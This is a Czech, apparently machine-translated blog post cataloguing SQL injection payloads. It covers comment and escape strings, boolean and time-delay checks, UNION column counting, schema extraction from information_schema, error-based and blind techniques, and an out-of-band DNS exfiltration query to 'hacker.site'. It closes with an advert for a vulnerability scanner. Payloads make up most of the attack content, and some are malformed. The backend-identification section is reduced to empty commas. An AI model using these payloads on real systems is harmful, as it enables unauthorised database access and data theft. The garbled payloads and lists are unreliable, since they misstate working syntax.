SQL Injection užitečné zatížení: jak SQLi využívá práci
co je SQL Injection užitečné zatížení?
SQL Injection představuje chybu zabezpečení webu, která umožňuje útočníkům zobrazit data, která by neměli být schopni, tím, že útočníkovi umožní zasahovat do dotazů, které aplikace do své databáze vkládá škodlivým užitečným zatížením SQL injection.
další informace o útocích SQL Injection v tomto blogu – Co jsou injekce SQL a jak jim lze zabránit
v tomto blogu se budeme zabývat tím, jak ověřit, zda je web zranitelný vůči SQLi a různým užitečným zatížením SQL injection používaným k využití různých typů zranitelností SQL injection.
v tomto článku:
potvrzení SQLi: Detekce vstupního bodu
Chcete-li zjistit, zda jsou vaše aplikace zranitelné vůči SQLi a můžete použít užitečná zatížení, která následují, musíte nejprve vložit data do dotazu, aniž byste je porušili. Prvním krokem je zjistit, jak uniknout ze současného kontextu.
zkuste jeden z těchto užitečných příkladů:
'
"
`
')
")
`)
'))
"))
`))
Chcete-li opravit dotaz, můžete zadat data, takže předchozí dotaz přijímá nová data, nebo můžete zadat data a na konci přidat symbol Komentáře.
tato fáze bude snazší, pokud uvidíte chybové zprávy nebo můžete zjistit, zda / kdy dotaz funguje nebo ne.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
potvrzení SQLi pomocí logických operací
zranitelnost SQL injection můžete potvrdit provedením logické operace. Pokud získáte očekávaný výsledek, potvrdili jste SQLi.
zde je, jak to vypadá v praxi:
pokud parametr GET ?username=John
vrátí stejný obsah jako ?username=John'
nebo '1'='1
, pak jste našli zranitelnost SQL injection.
tento koncept funguje i pro matematické operace:
pokud ?id=1
vrátí stejné jako ?id=2-1
, našli jste zranitelnost SQL injection.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
potvrzení SQL injection s časováním
v některých případech při pokusu o potvrzení SQLi nebude na stránce, kterou testujete, znatelná změna. To znamená slepý SQL, který lze identifikovat tím, že databáze provede akce, které budou mít dopad na dobu, po kterou se stránka potřebuje načíst.
přidáme do dotazu SQL operaci, která bude trvat delší dobu, například provedení následujících:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
funkce spánku nejsou vždy povoleny, takže dotaz proveďte složité operace, které místo toho budou trvat několik sekund.
identifikace backendu
různé backendy mají různé funkce, které lze identifikovat při provádění těchto funkcí. Příklady těchto funkcí jsou:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
užitečné zatížení SQL Injection založené na Unii
detekce počtu sloupců
oba dotazy (původní a ten, který změníme) musí vrátit stejný počet sloupců. Jak ale víme, kolik sloupců se původní požadavek vrací? K získání počtu sloupců obvykle používáme jednu ze dvou následujících metod:
Order / Group by
přestože GROUP BY
a ORDER BY
mají různé funkce v SQL, mohou být oba použity k určení počtu sloupců v dotazu. Zvyšte číslo, dokud nedostanete falešnou odpověď:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
v případě UNION SELECT vkládejte stále větší počet hodnot null, dokud není dotaz platný:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
proč se používají hodnoty null? Existují případy, kdy Typ sloupců na obou stranách dotazu musí být stejný. Null je platný v každém případě.
extrahujte názvy databází, tabulky a názvy sloupců
v následujících příkladech získáme název všech databází, názvy tabulek z databáze a názvy sloupců tabulky:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
metoda použitá k objevení těchto dat se bude lišit od samotné databáze, ale je to vždy stejná metodika.
užitečné zatížení SQL Injection založené na chybách
pokud výstup dotazu není viditelný, ale můžete vidět chybové zprávy, můžete tyto chybové zprávy provést tak, abyste exfiltrovali data z databáze.
podobně jako v příkladu vykořisťování založeném na Unii můžete databázi vypsat:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL Injections Payloads
v případě Blind SQL injection nevidíte výsledky dotazu ani chyby, ale můžete rozlišit, kdy dotaz vrátil pravdivou nebo nepravdivou odpověď na základě odlišného obsahu na stránce.
toto chování můžete zneužít k vypsání databáze char podle char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
chyba slepé SQL Injection užitečné zatížení
jak název napovídá, je to velmi podobné slepému SQL injection, ale tentokrát nemusíte rozlišovat mezi pravdivou nebo nepravdivou odpovědí. Zkontrolujete, zda je v dotazu SQL chyba nebo ne, vynucením chyby SQL pokaždé, když správně uhodnete znak:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
užitečné zatížení SQL Injection založené na čase
tuto techniku můžete použít především, když se chystáte využít slepé chyby zabezpečení, kde použijete druhý dotaz ke spuštění vyhledávání DNS, podmíněné chyby nebo časového zpoždění.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
skládané dotazy
skládané dotazy lze použít k provádění více dotazů za sebou. Zatímco následující dotazy jsou prováděny, výsledky nejsou vráceny do aplikace. Tuto techniku můžete použít při slepých zranitelnostech, kde použijete druhý dotaz ke spuštění vyhledávání DNS, podmíněné chyby nebo časového zpoždění.
zatímco Oracle a MySQL nepodporují naskládané dotazy, Microsoft a PostgreSQL je podporují: QUERY-1-HERE; QUERY-2-HERE
mimo pásmo SQLi užitečné zatížení
pokud pro vás žádná z výše uvedených metod vykořisťování nefungovala, můžete se pokusit, aby databáze exfiltrovala data externímu hostiteli, který ovládáte. Můžete například použít dotazy DNS:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
detekovat SQL Injection pomocí Nexploit
Neuralegion Nexploit automatizuje detekci a nápravu stovek zranitelností, včetně SQL injection.
integrací DAST skenů na začátku vývojového procesu mohou vývojáři a odborníci na bezpečnost aplikací včas odhalit zranitelnosti a odstranit je dříve, než se objeví ve výrobě.
s Nexploit skenování se provádí během několika minut a výsledky přicházejí s nulovými falešnými pozitivy. To umožňuje vývojářům přijmout řešení a používat jej po celou dobu životního cyklu vývoje.
Prohledejte jakoukoli webovou aplikaci nebo API, abyste zabránili zranitelnostem SQL injection-zkuste NeuraLegion Nexploit zdarma.